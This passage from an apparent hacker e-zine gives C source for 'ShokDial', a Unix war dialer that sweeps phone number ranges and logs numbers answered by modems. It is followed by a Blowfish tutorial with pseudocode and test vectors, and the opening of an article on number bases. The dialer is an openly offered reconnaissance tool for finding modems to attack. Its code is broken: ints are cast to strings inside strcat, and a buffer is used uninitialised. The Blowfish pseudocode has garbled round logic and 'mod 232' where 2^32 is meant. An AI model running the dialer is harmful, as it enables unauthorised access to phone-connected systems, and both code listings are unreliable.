  2477. {
  2478.   struct sigaction sig, sigdef;
  2479.  
  2480.   system("clear");
  2481.  
  2482.   /* ------------------------------------------------- */
  2483.  
  2484.   ProgName = argv[0];
  2485.  
  2486.   if (argc == 2) {
  2487.        if ((strcasecmp(argv[1], "-r")) == 0) random = 1;
  2488.        else if ((strcasecmp(argv[1], "-h")) == 0) usage();
  2489.        else if ((strcasecmp(argv[1], "-help")) == 0) usage();
  2490.        else if ((strcasecmp(argv[1], "--help")) == 0) usage();
  2491.        else if ((strcasecmp(argv[1], "-v")) == 0) version();
  2492.        else if ((strcasecmp(argv[1], "--version")) == 0) version();
  2493.        else LogFile=argv[1];
  2494.   }
  2495.  
  2496.   else if (argc == 3) {
  2497.     if ((strcasecmp(argv[1], "-r")) == 0) {
  2498.         random = 1;
  2499.         LogFile=argv[2];
  2500.        }
  2501.        else usage();
  2502.   }
  2503.  
  2504.   else if (argc > 3) usage(); 
  2505.  
  2506.   else {
  2507.        fprintf(stderr, "No log file specified....using %s as log file.\n", LOGFILE);
  2508.        fprintf(stderr, "-r (random scanning) option not given, using sequential scanning instead.\n");
  2509.        LogFile=LOGFILE;
  2510.   }
  2511.  
  2512. /* -------------------------------------------------- */
  2513.  
  2514.   sleep(4);
  2515.   system("clear"); /* Clear the screen */
  2516.  
  2517.  
  2518. /* -------------------------------------------------- */
  2519.  
  2520. sig.sa_handler = sighandler;
  2521. sigdef.sa_handler = SIG_IGN;
  2522. sigemptyset (&sig.sa_mask);
  2523. sig.sa_flags = 0;
  2524.  
  2525. sigaction(SIGHUP, NULL, &sigdef);
  2526. sigaction(SIGINT, &sig, NULL);
  2527. sigaction(SIGTERM, &sig, NULL);
  2528.  
  2529. /* -------------------------------------------------- */
  2530.  
  2531.   logfile=fopen(LogFile, "a");
  2532.   /* resume=fopen(".resume", "w"); */
  2533.  
  2534.   intro();
  2535.  
  2536. if (random != 1) {
  2537.   get_num();     /* Get the phone number                                */
  2538.   get_scannum;   /* Get the range to scan                   */
  2539. }
  2540.   open_port();   /* Open MODEMPORT (by default /dev/cua1)        */
  2541.   set_options;   /* Set baud rate, terminal modes, etc.                 */
  2542.   init_modem();  /* Send the modem ATZ etc..                */
  2543.  
  2544.   dial_number(); /* Dial the number/do the scanning              */ 
  2545.   hangup();      /* Disconnect                                 */
  2546.  
  2547.   close(fd);
  2548. }
  2549.  
  2550. /* -------------------------------------------------- */
  2551.  
  2552. void version(void)
  2553. {
  2554.   fprintf(stderr, "This is ShokDial, v1.0...please keep notice of this.\n");
  2555.   fprintf(stderr, "in case this program under goes some new features etc.\n");
  2556.   fprintf(stderr, "\t\t--==+*~(Shok)~*+==--\n");
  2557.   exit(0);
  2558. }
  2559.  
  2560. /* -------------------------------------------------- */
  2561.  
  2562. void usage(void)
  2563. {
  2564.     fprintf(stderr, "Usage: %s [options] [logfile]\n", ProgName);
  2565.        fprintf(stderr, "Options:\n");
  2566.        fprintf(stderr, "-r for random (as opposed to sequential) scanning\n");
  2567.        fprintf(stderr, "-h for help....what you're seeing now");
  2568.        fprintf(stderr, "-v for the version...because this will probably undergo changes\n\n");
  2569.     fprintf(stderr, "If no log file is specified, \"%s\" is used.\n", LOGFILE);
  2570.     exit(0);
  2571. }
  2572.  
  2573. /* -------------------------------------------------- */
  2574.  
  2575. void intro(void)
  2576. {
  2577.   printf("Shok's war dialer for UNIX (affectionately known as ShokDial).....\n");
  2578.   printf("------------------------------------------------------------------\n");
  2579.   printf("This is still in the beta version so it doesn't have a nice\n");
  2580.   printf("graphical interface yet.\n");
  2581.   printf("\nWell what you do here, is enter 0000 for the range to begin\n");
  2582.   printf("scanning and 9999 to end scanning if you want to scan all the\n");
  2583.   printf("possible ranges, but you can put 4444 for the nmber to start\n");
  2584.   printf("and 5555 for the number to begin to scan XXX-[4444-5555] for\n"); 
  2585.   printf("local numbers and it would be 1-XXX-XXX-[4444-5555] for long\n");
  2586.   printf("distance.\n");
  2587.   printf("\nAlso, you can use random scanning (as opposed to sequential\n");
  2588.   printf("scanning) by specifying the \"-r\" option...type:\n");
  2589.   printf("%s -h for help.\n\n", ProgName);
  2590.   printf("Anyway..enjoy!\n");
  2591.   printf("\t\t\t--==+*~(Shok)~*+==--\n\n");
  2592.   
  2593.   printf("Hit any key to continue.\n");
  2594.   getchar();
  2595. }
  2596.  
  2597. /* -------------------------------------------------- */
  2598.  
  2599. void get_num(void)
  2600. {
  2601.  
  2602.   printf("Scanning..\n(L)ocal, Long (D)istance\n");
  2603.   scanf("%2s", &LocalOrLong);
  2604.  
  2605.   if((strncasecmp(LocalOrLong, "L", 1)) == 0) {
  2606.       printf("Enter number to dial (753 for 753-XXXX): ");
  2607.       scanf("%d", &First3Digits);
  2608.       local_validnum(First3Digits);
  2609.  
  2610.   } 
  2611.   else if ((strncasecmp(LocalOrLong, "D", 1)) == 0) {
  2612.     printf("Enter number to dial (555555 for 555-555-XXXX): ");
  2613.     scanf("%3d%3d", &First3Digits, &Last3Digits);
  2614.     long_validnum(First3Digits, Last3Digits);
  2615.  
  2616.   } 
  2617.   else {
  2618.     fprintf(stderr, "You must specify L for local or D for Long Distance\n");
  2619.        exit(ERROR);
  2620.   }
  2621.  
  2622. }
  2623.  
  2624. /* -------------------------------------------------- */
  2625.  
  2626. void get_scannum(void)
  2627. {
  2628.   printf("Enter number to start scanning at: ");
  2629.   scanf("%4d", &ScanMin);
  2630.   putchar('\n');
  2631.  
  2632.   if ((ScanMin >= 0) && (ScanMin <= 9999)) { /* Do nothing */
  2633.   } 
  2634.   else {
  2635.     fprintf(stderr, "%d is invalid.\nScanning range must be 0000-9999\n", ScanMin);
  2636.     exit(ERROR);
  2637.   }
  2638.  
  2639.   printf("Enter number to end scanning: ");
  2640.   scanf("%4d", &ScanMax);
  2641.   putchar('\n');
  2642.   
  2643.   if ((ScanMax > ScanMin) && (ScanMax > 0) && (ScanMax <= 9999)) { 
  2644.     /* Do nothing */
  2645.   } 
  2646.   else {
  2647.     fprintf(stderr, "%d is invalid.\nScanning range must be 0000-9999\n", ScanMax);
  2648.     exit(ERROR);
  2649.   }
  2650.   
  2651. }
  2652.  
  2653. /* -------------------------------------------------- */
  2654.  
  2655. void open_port(void)
  2656. {
  2657.   printf("Opening modem for dialing...\n");
  2658.   fd = open(MODEMPORT, O_RDWR | O_NOCTTY | O_NDELAY);
  2659.   if (fd == ERROR) {
  2660.     perror("open");
  2661.     exit(ERROR);
  2662.   }
  2663.  
  2664. }
  2665.  
  2666. /* -------------------------------------------------- */
  2667.  
  2668. void set_options(void)
  2669. {
  2670.   tcgetattr(fd, &options);
  2671.   
  2672.   options.c_cflag |= (CLOCAL | CREAD);
  2673.   options.c_cflag &= ~PARENB;
  2674.   options.c_cflag &= ~CSTOPB;
  2675.   options.c_cflag &= ~CSIZE; 
  2676.   options.c_cflag |= CS8;
  2677.   
  2678.   options.c_iflag |= (INPCK | ISTRIP);
  2679.   options.c_lflag &= ~(ICANON | ECHO | ISIG); 
  2680.   options.c_oflag &= ~OPOST;
  2681.  
  2682.   cfsetispeed(&options, B115200); 
  2683.   cfsetospeed(&options, B115200);
  2684.  
  2685.   tcsetattr(fd, TCSANOW, &options);
  2686. }
  2687.  
  2688. /* -------------------------------------------------- */
  2689.  
  2690. void init_modem(void)
  2691. {
  2692.   printf("Initializing modem (port %s)....\n", MODEMPORT);
  2693.  
  2694.   /* Hang up modem if it's already on */
  2695.   
  2696.   hangup();
  2697.  
  2698.   numbytes=write(fd, "ATZ\r", 4);
  2699.   check_for_error(fd, numbytes, "write");
  2700.  
  2701.   sleep(3);
  2702.  
  2703. }
  2704.  
  2705. /* -------------------------------------------------- */
  2706.  
  2707. void dial_number(void)
  2708. {
  2709.  
  2710.   char phonenum[20];   /* If local: phonenum = First3Digits + ScanMin   */
  2711.                    /* If long distance: phonenum =                  */
  2712.                    /* First3Digits + Last3Digits + ScanMin          */
  2713.   char phonenum1[20];  /* Same as above except this has "\r" as well    */
  2714.   char connectmsg[50]; /* the message to the log file            */
  2715.  
  2716.   printf("Giving a %s second connection timeout", TIMEOUT);
  2717.  
  2718.  
  2719.   if ((strncasecmp(LocalOrLong, "L", 1)) == 0) {  /* Local call */
  2720.  
  2721.        while (1) {
  2722.  
  2723.         if (random == 1) ScanMin = (rand() % 8889) + 1111;
  2724.  
  2725.         strcat(phonenum, (char *)First3Digits);
  2726.                strcat(phonenum, (char *)ScanMin);
  2727.         strcpy(phonenum1, (char *)phonenum);
  2728.         strcat(phonenum1, "\r");
  2729.  
  2730.         if (random != 1) {
  2731.             printf("Dialing %d-%d.\n", First3Digits, ScanMin);
  2732.             numbytes = write(fd, phonenum1, strlen(phonenum1));
  2733.             check_for_error(fd, numbytes, "write");
  2734.         }
  2735.  
  2736.              else { /* if random == 1 */
  2737.                     printf("Dialing %d-%d.\n", First3Digits, ScanMin);
  2738.                     numbytes = write(fd, phonenum1, strlen(phonenum1));
  2739.             check_for_error(fd, numbytes, "write");
  2740.              }
  2741.  
  2742.         sleep(TIMEOUT); /* How long to wait for timeout */
  2743.  
  2744.         numbytes = read(fd, buf, 511);
  2745.         check_for_error(fd, numbytes, "read");
  2746.  
  2747.         /* Compare the string with "CONNECT" */
  2748.              if((strncmp(buf, "CONNECT", 7)) == 0) {
  2749.             #ifdef WANTBEEP
  2750.                     fputc('\a', stderr);
  2751.                     #endif
  2752.                     fprintf(stderr, "*** CONNECT *** to %d-%d\n", First3Digits, ScanMin);
  2753.  
  2754.                     /* Log it */
  2755.                     sprintf(connectmsg, "*** CONNECT *** to %d-%d\n", First3Digits, ScanMin);
  2756.                     fputs(connectmsg, logfile);
  2757.        
  2758.                     bzero(connectmsg, 50); /* Clear the message */
  2759.              }
  2760.              
  2761.              bzero(buf, 512); /* Reset buffer */
  2762.  
  2763.         hangup();
  2764.  
  2765.         if (random != 1) {
  2766.  
  2767.             /* Increase ScanMin so it scans for the next number */
  2768.             ScanMin += 1;
  2769.           
  2770.                        if (ScanMin > ScanMax) {
  2771.                     fputc('\a', stderr);
  2772.                     fprintf(stderr, "ALL DONE SCANNING....THANKS FOR USING\n");
  2773.                 exit(0);
  2774.                 }
  2775.         
  2776.         } 
  2777.  
  2778.         bzero(phonenum, 20);  /* Clear the phone number */
  2779.              bzero(phonenum1, 20); /* Ditto                */
  2780.  
  2781.     } /* End of while loop */
  2782.  } /* End of if */
  2783.  
  2784.   else { /* if LocalOrLong == "D" (Long Distance call) */ 
  2785.   
  2786.     while(1) {
  2787.  
  2788.         if (random == 1) ScanMin = (rand() % 8889) + 1111;
  2789.  
  2790.         strcat(phonenum, "1");
  2791.         strcat(phonenum, (char *)First3Digits); /* Area Code */
  2792.         strcat(phonenum, (char *)Last3Digits);  /* 1-XXX-555-XXXX */
  2793.         strcat(phonenum, (char *)ScanMin); /* 1-XXX-XXX-0000 */
  2794.         strcpy(phonenum1, (char *)phonenum); /* Copy it to another */
  2795.         strcat(phonenum1, "\r");       /* buf to append "\r" to it */
  2796.  
  2797.         if (random != 1) {
  2798.             printf("Dialing 1-%d-%d-%d.\n", First3Digits, Last3Digits, ScanMin);
  2799.                numbytes = write(fd, phonenum1, strlen(phonenum1));
  2800.             check_for_error(fd, numbytes, "write");
  2801.              }
  2802.  
  2803.              else { /* if random == 1 */
  2804.                     printf("Dialing 1-%d-%d-%d.\n", First3Digits, Last3Digits, ScanMin);
  2805.                     numbytes = write(fd, phonenum1, strlen(phonenum1));
  2806.                     check_for_error(fd, numbytes, "write");
  2807.              }
  2808.              
  2809.            sleep(TIMEOUT); /* How long to wait for timeout */
  2810.  
  2811.              numbytes = read(fd, buf, 511);
  2812.              check_for_error(fd, numbytes, "read");
  2813.        
  2814.              /* Compare the string with "CONNECT" */
  2815.              if((strncmp(buf, "CONNECT", 7)) == 0) {
  2816.                     fputc('\a', stderr);
  2817.                     fprintf(stderr, "*** CONNECT *** to 1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin);
  2818.  
  2819.             /* Log it */
  2820.                     sprintf(connectmsg, "*** CONNECT *** to 1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin);
  2821.             fputs(connectmsg, logfile);
  2822.  
  2823.                     bzero(connectmsg, 50); /* Clear the message */
  2824.              }
  2825.  
  2826.              bzero(buf, 512); /* Reset buffer */
  2827.  
  2828.         hangup();
  2829.  
  2830.              if (random != 1) {
  2831.  
  2832.                  /* Increase ScanMin so it scans for the next number */
  2833.                ScanMin += 1;
  2834.                     
  2835.                    if (ScanMin > ScanMax) {
  2836.                     fputc('\a', stderr);
  2837.                     fprintf(stderr, "ALL DONE SCANNING....THANKS FOR USING\n");
  2838.                     break;
  2839.                 }
  2840.  
  2841.         }
  2842.  
  2843.                 bzero(phonenum, 20);  /* Clear the phone number */
  2844.                 bzero(phonenum1, 20); /* Ditto                  */
  2845.  
  2846.  
  2847.     } /* End of while loop */
  2848.   } /* End of if/else loop */
  2849.  
  2850.   fclose(logfile);
  2851. } /* End of dial_num */
  2852.  
  2853. void hangup(void)
  2854. {
  2855.     /* After testing put this in the init_modem() section */
  2856.     /* for optimize it.                        */
  2857.  
  2858.     int fd1; /* fd for modem (hang up) */
  2859.  
  2860.     fd1=open(HANGUPPORT, O_RDWR | O_NOCTTY | O_NDELAY);
  2861.     if (fd1 == ERROR) {
  2862.     perror("open");
  2863.     close(fd1);
  2864.     close(fd);
  2865.     exit(ERROR);
  2866.     }
  2867.  
  2868.     numbytes=write(fd1, "+++\r", 4);
  2869.     check_for_error(fd1, numbytes, "write");
  2870.  
  2871.     sleep(1);
  2872.  
  2873.     numbytes=write(fd1, "ATH\r", 4);
  2874.     check_for_error(fd1, numbytes, "write");
  2875.  
  2876.     sleep(3);    
  2877.     
  2878.     /* Should/will check for "OK */
  2879.     close(fd1);
  2880.  
  2881. }
  2882.  
  2883. void sighandler(int signum)
  2884. {
  2885.   char message[50];
  2886.  
  2887.   fprintf(stderr, "Receive signal to quit....closing up modem, logging last number dialed,\nand exitting\n");
  2888.   if (random != 1) fprintf(stderr, "Last number dialed was: ");
  2889.     
  2890.   if((strncasecmp(LocalOrLong, "L", 1)) == 0) {
  2891.     if (random != 1) {
  2892.         sprintf(message, "%d-%d\n", First3Digits, Last3Digits);
  2893.                fprintf(stderr, message);
  2894.         fprintf(logfile, message);
  2895.     /*        fprintf(resume, "%d%d\n", First3Digits, Last3Digits); */
  2896.        }
  2897.   }
  2898.   else { /* if LocalOrLong == "D" */
  2899.     if (random != 1) {
  2900.         sprintf(message, "1-%d-%d-%d\n", First3Digits, Last3Digits, ScanMin);
  2901.            fprintf(stderr, message);
  2902.            fprintf(logfile, message);
  2903.     /*      fprintf(resume, "1%d%d%d\n", First3Digits, Last3Digits, ScanMin); */
  2904.     }
  2905.   }
  2906.  
  2907.   /* hangup(); */
  2908.   close(fd);
  2909.   /* fclose(resume); */
  2910.   fclose(logfile);
  2911.   exit(ERROR);
  2912. }
  2913.  
  2914. /* void resume(void) 
  2915.    {
  2916.  
  2917.    }
  2918. */
  2919.  
  2920. -----------
  2921. validate.c
  2922. -----------
  2923.  
  2924. /* Functions:            */
  2925. /* local_validnum        */
  2926. /* long_validnum         */
  2927.  
  2928. #include <stdio.h>
  2929. #include <unistd.h>
  2930.  
  2931. #define ERROR -1
  2932.  
  2933. /* Check if it was a valid local number */
  2934. void local_validnum(int digits) 
  2935. {
  2936.  
  2937.   if ((digits > 111) && (999 > digits)) {
  2938.     /* Do nothing */
  2939.   } 
  2940.   else {
  2941.     fprintf(stderr, "%d is invalid.\nThe number must be 111-999\n", digits);
  2942.        exit(ERROR);
  2943.   }
  2944.  
  2945. }
  2946.  
  2947. void long_validnum(int firstdigits, int lastdigits)
  2948. {
  2949.        if (((firstdigits > 111) && (firstdigits < 999)) && ((lastdigits > 111) && (lastdigits < 999))) {
  2950.         /* Do nothing */
  2951.        }
  2952.        else {
  2953.              fprintf(stderr, "%d%d is invalid.\nThe number must 111111-999999\n", firstdigits, lastdigits);
  2954.              exit(1);
  2955.        }
  2956.  
  2957.  
  2958. }
  2959.  
  2960. ---------
  2961. errors.c
  2962. ---------
  2963.  
  2964.  
  2965. /* Functions:            */
  2966. /* check_for_error       */
  2967.  
  2968. #include <unistd.h>
  2969. #include <stdio.h>
  2970.  
  2971. #define ERROR -1
  2972.  
  2973. void check_for_error(int fd, int num, char *s)
  2974. {
  2975.   if (num == ERROR) {
  2976.        fprintf(stderr, "Error: Unable to %s all the bytes.\n", s);
  2977.        hangup();
  2978.        close(fd);
  2979.        exit(ERROR);
  2980.   }
  2981.  
  2982. }  
  2983.  
  2984.  
  2985. ═────────────────────────────────────────────────────────────────────────────═
  2986. The Blowfish Algorithm: A Look Under The Hood
  2987. by The Messiah
  2988.  
  2989. Contents
  2990.     * Introduction
  2991.     * Key Setup
  2992.     * Encryption
  2993.     * Decryption
  2994.     * Review
  2995.     * Test Vectors
  2996.  
  2997.  
  2998. INTRODUCTION: The Blowfish encryption algorithm is one of the most well-known 
  2999. encryption algorithms in the public domain. It was written by noted 
  3000. cryptologist Bruce Schneier, and placed in the public domain in 1994. It uses 
  3001. a variable-size key (from 32 to 448 bits), has a 64-bit blocksize, and 
  3002. encrypts the plaintext 16 times, or "rounds." It is a symetric algorithm, 
  3003. meaning the key used to encrypt is the same key used to decrypt. It was 
  3004. designed to run best in software implementations, as opposed to DES, which 
  3005. was designed to run in hardware implementations.
  3006.  
  3007. KEY SETUP: Blowfish has a complex key setup required before any encryption or 
  3008. decryption can be done. This is the most complicated part of the algorithm.
  3009.  
  3010.     P-array: The P array is an array of 18 32-bit entries- array[1..18] of 
  3011.     LongInt;
  3012.     S-Boxes: There are 4 S-boxes, each with 256 32-bit entries- 
  3013.     array[0..255] of LongInt;
  3014.  
  3015.     1.) Initialize the P-array and S-boxes in order with the hexadecimal 
  3016.     digits of Pi, starting from the .1 place.
  3017.  
  3018.         for i := 1 to 18 do
  3019.             Parray[i] := GetPiDigit(i);
  3020.         for i := 0 to 255 do
  3021.             SBox1[i] := GetPiDigit(i+19);
  3022.         for i := 0 to 255 do
  3023.             SBox2[i] := GetPiDigit(i+257);
  3024.         for i := 0 to 255 do
  3025.             SBox3[i] := GetPiDigit(i+513);
  3026.         for i := 0 to 255 do
  3027.             SBox4[i] := GetPiDigit(i+787);
  3028.  
  3029.     2.) Cycle through the P-array, XORing the entry with a 32-bit value
  3030.           from the passphrase.
  3031.  
  3032.         Len : Byte;
  3033.         PassStr : String;
  3034.         password : array[1..14] of LongInt;
  3035.  
  3036.         Move(PassStr, password, Length(PassStr));
  3037.         Len := Length(PassStr);
  3038.         if Len mod 4 <> 0 then Inc(Len);
  3039.         for i := 1 to Len do
  3040.             for j := i to Len do
  3041.                 Parray[j] := Parray[j] xor password[j];
  3042.         for i := Len downto 1 do
  3043.             for j := Len downto i do
  3044.                 Parray[j] := Parray[j] xor password[j];
  3045.  
  3046.     3.) Encrypt an all-zero string wil the current S-boxes and replace
  3047.           P-array[1] and P-array[2] with the value. (See the encryption
  3048.           section for more info)
  3049.  
  3050.         zeros : TCipherBlock;
  3051.  
  3052.         zeros[0] := 0;
  3053.         zeros[1] := 0;
  3054.         zero := Encrypt(zero);
  3055.         Parray[1] := zeros[0];
  3056.         Parray[2] := zeros[1];
  3057.  
  3058.     4.) Fill the rest of the P-array and S-boxes in order, using the
  3059.           output of the encrypted string, changing the string to the
  3060.           last encrypted one:
  3061.  
  3062.         i := 3;
  3063.         while i <> 18 do
  3064.         begin
  3065.             zero := Encrypt(zero);
  3066.             Parray[i] := zeros[0];
  3067.             Parray[i+1] := zeros[1];
  3068.             Inc(i,2);
  3069.         end;
  3070.  
  3071.         i := 0;
  3072.         while i <> 255 do
  3073.         begin
  3074.             zero := Encrypt(zero);
  3075.             SBox1[i] := zeros[0];
  3076.             SBox1[i+1] := zeros[1];
  3077.             Inc(i,2);
  3078.         end;
  3079.  
  3080.         and so on....
  3081.  
  3082.  
  3083. ENCRYPTION: Encryption is done with two parts- the main part, and the F 
  3084. function.
  3085.  
  3086.     1.) The F function divides the left half of a cipherblock
  3087.           (a 32-bit value) into four values and encrypts them with
  3088.           the S-boxes.
  3089.  
  3090.         function F_Funct(Input : LongInt) : LongInt;
  3091.         var
  3092.             foo : array[0..3] of Byte;
  3093.         begin
  3094.             Move(Input, foo, 8);
  3095.             F_Funct := (SBox1[foo[0]] + SBox2[foo[1]] mod 232) xor SBox3[foo[2]]) + SBox4[foo[3]] mod 232;
  3096.         end;
  3097.  
  3098.  
  3099.     2.) The main part encrypts a 64-bit long block (two LongInts):
  3100.  
  3101.         type
  3102.             TCipherBlock = array[0..1] of LongInt;
  3103.  
  3104.         function Encrypt(Input : TCipherBlock) : TCipherBlock;
  3105.         var
  3106.             I : Byte;
  3107.             bin, bash : LongInt;
  3108.             foo : TCipherBlock;
  3109.         begin
  3110.             foo := Input;
  3111.             for i := 1 to 16 do (* number of rounds *)
  3112.             begin
  3113.                 foo[0] := foo[0] xor Parray[i];
  3114.                 foo[1] := F_Funct(foo[0]) xor foo[1];
  3115.                 bin := foo[0];
  3116.                 foo[1] := foo[0];
  3117.                 foo[0] := bin;
  3118.                 bin := foo[0];
  3119.                 foo[1] := foo[0];
  3120.                 foo[0] := bin;
  3121.                 foo[1] := foo[1] xor Parray[17];
  3122.                 foo[0] := foo[0] xor Parray[18];
  3123.             end;
  3124.             Encrypt := foo;
  3125.         end;
  3126.  
  3127. DECRYPTION: Decryption is the same as encryption, except it uses the
  3128.           P-array backwards.
  3129.  
  3130.     1.) Decryption function:
  3131.  
  3132.         function Decrypt(Input : TCipherBlock) : TCipherBlock;
  3133.         var
  3134.             I : Byte;
  3135.             bin, bash : LongInt;
  3136.             foo : TCipherBlock;
  3137.         begin
  3138.             foo := Input;
  3139.             for i := 16 downto 1 do
  3140.             begin
  3141.                 foo[0] := foo[0] xor Parray[i];
  3142.                 foo[1] := F_Funct(foo[0]) xor foo[1];
  3143.                 bin := foo[0];
  3144.                 foo[1] := foo[0];
  3145.                 foo[0] := bin;
  3146.                 bin := foo[0];
  3147.                 foo[1] := foo[0];
  3148.                 foo[0] := bin;
  3149.                 foo[1] := foo[1] xor Parray[18];
  3150.                 foo[0] := foo[0] xor Parray[17];
  3151.             end;
  3152.             Decrypt := foo;
  3153.         end;
  3154.  
  3155. REVIEW:
  3156.     Ahh, how I love being a critic. Blowfish is one of my favorite 
  3157. algorithms, simply because it has the largest key size, is VERY fast, and is 
  3158. public domain. It is relatively new, but so far all crypanalysis has found no 
  3159. real flaws. The only thing I know of is a slight weakness in 14-round 
  3160. variants of Blowfish, but most, if not all, implementations of Blowfish use 
  3161. the 16-round specs. Blowfish is simple, fairly easy to implement (the only 
  3162. hard part for me was finding all those digits of Pi), and VERY VERY fast. In 
  3163. a recent speed test using an optimized implementation of Blowfish, it used 
  3164. only 18 cycles per encrypted byte. Since it is one of the newer algorithms, 
  3165. it was designed with modern computing power in mind, unlike DES, which has 
  3166. fallen to brute force attacks. It's also in the public domain, unlike IDEA, 
  3167. so you may use it in a commercial application without having to pay 
  3168. royalties. I would use this over most other algorithms for communication 
  3169. (in CFB mode), or file storage, unless speed was the highest priority.
  3170.  
  3171. TEST VECTORS: Should you be making your own implementation of Blowfish, 
  3172. here's Eric Young's test vectors-
  3173.  
  3174.     All data is shown as a hex string with 012345 loading as
  3175.     data[0]=0x01;
  3176.     data[1]=0x23;
  3177.     data[2]=0x45;
  3178.     ecb test data (taken from the DES validation tests)
  3179.  
  3180.     key bytes               clear bytes             cipher bytes
  3181.     0000000000000000        0000000000000000        4EF997456198DD78
  3182.     FFFFFFFFFFFFFFFF        FFFFFFFFFFFFFFFF        51866FD5B85ECB8A
  3183.     3000000000000000        1000000000000001        7D856F9A613063F2
  3184.     1111111111111111        1111111111111111        2466DD878B963C9D
  3185.     0123456789ABCDEF        1111111111111111        61F9C3802281B096
  3186.     1111111111111111        0123456789ABCDEF        7D0CC630AFDA1EC7
  3187.     0000000000000000        0000000000000000        4EF997456198DD78
  3188.     FEDCBA9876543210        0123456789ABCDEF        0ACEAB0FC6A0A28D
  3189.     7CA110454A1A6E57        01A1D6D039776742        59C68245EB05282B
  3190.     0131D9619DC1376E        5CD54CA83DEF57DA        B1B8CC0B250F09A0
  3191.     07A1133E4A0B2686        0248D43806F67172        1730E5778BEA1DA4
  3192.     3849674C2602319E        51454B582DDF440A        A25E7856CF2651EB
  3193.     04B915BA43FEB5B6        42FD443059577FA2        353882B109CE8F1A
  3194.     0113B970FD34F2CE        059B5E0851CF143A        48F4D0884C379918
  3195.     0170F175468FB5E6        0756D8E0774761D2        432193B78951FC98
  3196.     43297FAD38E373FE        762514B829BF486A        13F04154D69D1AE5
  3197.     07A7137045DA2A16        3BDD119049372802        2EEDDA93FFD39C79
  3198.     04689104C2FD3B2F        26955F6835AF609A        D887E0393C2DA6E3
  3199.     37D06BB516CB7546        164D5E404F275232        5F99D04F5B163969
  3200.     1F08260D1AC2465E        6B056E18759F5CCA        4A057A3B24D3977B
  3201.     584023641ABA6176        004BD6EF09176062        452031C1E4FADA8E
  3202.     025816164629B007        480D39006EE762F2        7555AE39F59B87BD
  3203.     49793EBC79B3258F        437540C8698F3CFA        53C55F9CB49FC019
  3204.     4FB05E1515AB73A7        072D43A077075292        7A8E7BFA937E89A3
  3205.     49E95D6D4CA229BF        02FE55778117F12A        CF9C5D7A4986ADB5
  3206.     018310DC409B26D6        1D9D5C5018F728C2        D1ABB290658BC778
  3207.     1C587F1C13924FEF        305532286D6F295A        55CB3774D13EF201
  3208.     0101010101010101        0123456789ABCDEF        FA34EC4847B268B2
  3209.     1F1F1F1F0E0E0E0E        0123456789ABCDEF        A790795108EA3CAE
  3210.     E0FEE0FEF1FEF1FE        0123456789ABCDEF        C39E072D9FAC631D
  3211.     0000000000000000        FFFFFFFFFFFFFFFF        014933E0CDAFF6E4
  3212.     FFFFFFFFFFFFFFFF        0000000000000000        F21E9A77B71C49BC
  3213.     0123456789ABCDEF        0000000000000000        245946885754369A
  3214.     FEDCBA9876543210        FFFFFFFFFFFFFFFF        6B5C5A9C5D9E0A5A
  3215.  
  3216.     set_key test data
  3217.     data[8]= FEDCBA9876543210
  3218.     c=F9AD597C49DB005E k[ 1]=F0
  3219.     c=E91D21C1D961A6D6 k[ 2]=F0E1
  3220.     c=E9C2B70A1BC65CF3 k[ 3]=F0E1D2
  3221.     c=BE1E639408640F05 k[ 4]=F0E1D2C3
  3222.     c=B39E44481BDB1E6E k[ 5]=F0E1D2C3B4
  3223.     c=9457AA83B1928C0D k[ 6]=F0E1D2C3B4A5
  3224.     c=8BB77032F960629D k[ 7]=F0E1D2C3B4A596
  3225.     c=E87A244E2CC85E82 k[ 8]=F0E1D2C3B4A59687
  3226.     c=15750E7A4F4EC577 k[ 9]=F0E1D2C3B4A5968778
  3227.     c=122BA70B3AB64AE0 k[10]=F0E1D2C3B4A596877869
  3228.     c=3A833C9AFFC537F6 k[11]=F0E1D2C3B4A5968778695A
  3229.     c=9409DA87A90F6BF2 k[12]=F0E1D2C3B4A5968778695A4B
  3230.     c=884F80625060B8B4 k[13]=F0E1D2C3B4A5968778695A4B3C
  3231.     c=1F85031C19E11968 k[14]=F0E1D2C3B4A5968778695A4B3C2D
  3232.     c=79D9373A714CA34F k[15]=F0E1D2C3B4A5968778695A4B3C2D1E
  3233.     c=93142887EE3BE15C k[16]=F0E1D2C3B4A5968778695A4B3C2D1E0F
  3234.     c=03429E838CE2D14B k[17]=F0E1D2C3B4A5968778695A4B3C2D1E0F00
  3235.     c=A4299E27469FF67B k[18]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011
  3236.     c=AFD5AED1C1BC96A8 k[19]=F0E1D2C3B4A5968778695A4B3C2D1E0F001122
  3237.     c=10851C0E3858DA9F k[20]=F0E1D2C3B4A5968778695A4B3C2D1E0F00112233
  3238.     c=E6F51ED79B9DB21F k[21]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344
  3239.     c=64A6E14AFD36B46F k[22]=F0E1D2C3B4A5968778695A4B3C2D1E0F001122334455
  3240.     c=80C7D7D45A5479AD k[23]=F0E1D2C3B4A5968778695A4B3C2D1E0F00112233445566
  3241.     c=05044B62FA52D080 k[24]=F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344556677
  3242.  
  3243.     chaining mode test data
  3244.     key[16]   = 0123456789ABCDEFF0E1D2C3B4A59687
  3245.     iv[8]     = FEDCBA9876543210
  3246.     data[29]  = "7654321 Now is the time for " (includes trailing '\0')
  3247.     data[29]  = 37363534333231204E6F77206973207468652074696D6520666F722000
  3248.     cbc cipher text
  3249.     cipher[32]= 6B77B4D63006DEE605B156E27403979358DEB9E7154616D959F1652BD5FF92CCE7
  3250.     cfb64 cipher text cipher[29]=
  3251.     E73214A2822139CAF26ECF6D2EB9E76E3DA3DE04D1517200519D57A6C3 ofb64 cipher text
  3252.     cipher[29]= E73214A2822139CA62B343CC5B65587310DD908D0C241B2263C2CF80DA
  3253.  
  3254. ═────────────────────────────────────────────────────────────────────────────═
  3255. Learning to Count All Over Again
  3256. by Bronc Buster
  3257. (ww.showdown.org)
  3258. (bbuster@succeed.net)
  3259.  
  3260. When I read 2600 I see a lot of the other readers are young people, and 
  3261. a lot of them are clueless about what makes this world go around. Well 
  3262. for anyone who's been to my site or talked to me, they know that I like 
  3263. to break down things into layman's terms. So anyone that might read 
  3264. what I write, will come away with an understanding of the subject 
  3265. rather then learning a ton of new acronyms and their eyes glazing 
  3266. over as they pass out. Well this article is going to focus on numbers 
  3267. and how to count with them among other things. I know what you're 
  3268. thinking, but read on, as I'm not talking about 1 + 1 = 2. I'm 
  3269. talking complex number systems using different bases of numbers 
  3270. and sometimes using letters instead of numbers. I'm talking about 
